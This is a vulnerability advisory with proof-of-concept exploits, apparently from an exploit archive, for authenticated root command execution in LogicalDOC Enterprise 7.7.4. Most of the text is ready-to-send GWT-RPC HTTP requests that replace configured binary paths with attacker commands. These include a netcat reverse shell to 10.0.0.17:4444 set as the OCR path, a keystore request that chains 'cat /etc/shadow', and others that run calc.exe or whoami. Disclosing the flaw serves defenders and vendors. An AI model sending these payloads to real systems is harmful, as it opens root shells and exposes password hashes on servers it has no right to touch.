LogicalDOC Enterprise 7.7.4 Root Remote Code Execution

2018.02.12
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

LogicalDOC Enterprise 7.7.4 Post-Auth Command Execution Via Binary Path Manipulation Vendor: LogicalDOC Srl Product web page: https://www.logicaldoc.com Affected version: 7.7.4 7.7.3 7.7.2 7.7.1 7.6.4 7.6.2 7.5.1 7.4.2 7.1.1 Summary: LogicalDOC is a free document management system that is designed to handle and share documents within an organization. LogicalDOC is a content repository, with Lucene indexing, Activiti workflow, and a set of automatic import procedures. Desc: LogicalDOC suffers from multiple authenticated OS command execution vulnerabilities by manipulating the path of the many binaries included in the package when changing the settings with their respected arguments. This can be exploited to execute local root privilege escalation attack and/or inject and execute arbitrary system commands as the root or SYSTEM user depending on the platform affected. Tested on: Microsoft Windows 10 Linux Ubuntu 16.04 Java 1.8.0_161 Apache-Coyote/1.1 Apache Tomcat/8.5.24 Apache Tomcat/8.5.13 Undisclosed 8.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5452 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5452.php 26.01.2018 After saving the settings, the command will be executed whenever a user uploads a file that was inserted in the 'default.antivirus.includes' list. PoC for antivirus.command: -------------------------------------------------------------------------------------- POST /frontend/setting HTTP/1.1 Host: localhost:8080 Connection: keep-alive Content-Length: 594 X-GWT-Module-Base: http://localhost:8080/frontend/ X-GWT-Permutation: 87C7268A2BDB185A47D161B6D6D2DEE8 Origin: http://localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67 Content-Type: text/x-gwt-rpc; charset=UTF-8 Accept: */* Referer: http://localhost:8080/frontend.jsp?docId=3735554 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLog=%7B%0A%20%20%20%20trackRPC%3Afalse%0A%7D; JSESSIONID=FCFD7719139A634C8411FD081780BE2A; ldoc-sid=5dd1ea28-36a0-4967-bdd8-2556d16101d7 7|0|16|http://localhost:8080/frontend/|2B4A04609097A6274DA6D61C469E4E6B|com.logicaldoc.gui.frontend.client.services.SettingService|saveSettings|[Lcom.logicaldoc.gui.common.client.beans.GUIParameter;/1603922774|com.logicaldoc.gui.common.client.beans.GUIParameter/3041767606|default.antivirus.enabled|true|default.antivirus.excludes|*.tif,*.tiff,*.jpg,*.jpeg,*.png,*.bmp,*.gif,*.txt,*.iso|default.antivirus.includes|*.exe,*.com,*.pif,*.scr,*.dll,*.tar.gz|default.antivirus.timeout|0|antivirus.command|c:\\windows\\system32\\calc.exe|1|2|3|4|1|5|5|5|6|0|7|8|6|0|9|10|6|0|11|12|6|0|13|14|6|0|15|16| PoC for call home reverse shell via ocr.Tesseract.path: ------------------------------------------------------- POST /frontend/setting HTTP/1.1 Host: localhost:8080 7|0|25|https://localhost:8080/frontend/|2B4A04609097A6274DA6D61C469E4E6B|com.logicaldoc.gui.frontend.client.services.SettingService|saveSettings|[Lcom.logicaldoc.gui.common.client.beans.GUIParameter;/1603922774|com.logicaldoc.gui.common.client.beans.GUIParameter/3041767606|default.ocr.includes|*.pdf,*.tif,*.png,*.jpg,*.txt|default.ocr.excludes|*.odt|default.ocr.text.threshold|1|default.ocr.resolution.threshold|400|ocr.timeout|90|ocr.rendres|180|ocr.rendres.barcode|ocr.batch|2|ocr.engine|Tesseract|ocr.Tesseract.path|nc -c /bin/sh 10.0.0.17 4444|1|2|3|4|1|5|5|10|6|0|7|8|6|0|9|10|6|0|11|12|6|0|13|14|6|0|15|16|6|0|17|18|6|0|19|18|6|0|20|21|6|0|22|23|6|0|24|25| PoC for Key Store via OpenSSL path: ----------------------------------- POST /frontend/sign HTTP/1.1 Host: localhost:8080 7|0|14|https://localhost:8080/frontend/|16A5065211C47142C5282B2BC4600F1D|com.logicaldoc.gui.frontend.client.services.SignService|generateNewKeystore|com.logicaldoc.gui.common.client.beans.GUIKeystore/3815185030|java.util.Date/3385151746|1337|/usr/bin/openssl && /usr/bin/cat /etc/shadow|root|O=ZSL,OU=JXY,C=MK|123|#000000|$PAGE_WIDTH/6|5|1|2|3|4|1|5|5|6|WFn2zQZ|A|7|8|9|10|0|11|12|60|100|0|13|14|14|B|2| PoC for clients and external apps and services path via command.convert, command.gs, command.openssl, command.pdftohtml, command.keytool: ----------------------------------------------------------------------------------------------------------------------------------------- POST /frontend/setting HTTP/1.1 Host: localhost:8080 7|0|35|https://localhost:8080/frontend/|2B4A04609097A6274DA6D61C469E4E6B|com.logicaldoc.gui.frontend.client.services.SettingService|saveSettings|[Lcom.logicaldoc.gui.common.client.beans.GUIParameter;/1603922774|com.logicaldoc.gui.common.client.beans.GUIParameter/3041767606|webservice.enabled|true|webdav.enabled|webdav.usecache|false|command.convert|/usr/bin/whoami > test.txt|command.gs|/usr/bin/gs|command.openssl|/usr/bin/openssl|command.pdftohtml|/usr/bin/pdftohtml|command.keytool|1337|cmis.enabled|cmis.changelog|cmis.maxitems|200|default.extcall.enabled|default.extcall.name|External Call|default.extcall.baseurl||default.extcall.suffix|default.extcall.window|_blank|default.extcall.params|user|1|2|3|4|1|5|5|17|6|0|7|8|6|0|9|8|6|0|10|11|6|0|12|13|6|0|14|15|6|0|16|17|6|0|18|19|6|0|20|21|6|0|22|8|6|0|23|8|6|0|24|25|6|0|26|11|6|0|27|28|6|0|29|30|6|0|31|30|6|0|32|33|6|0|34|35|

References:

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5452.php


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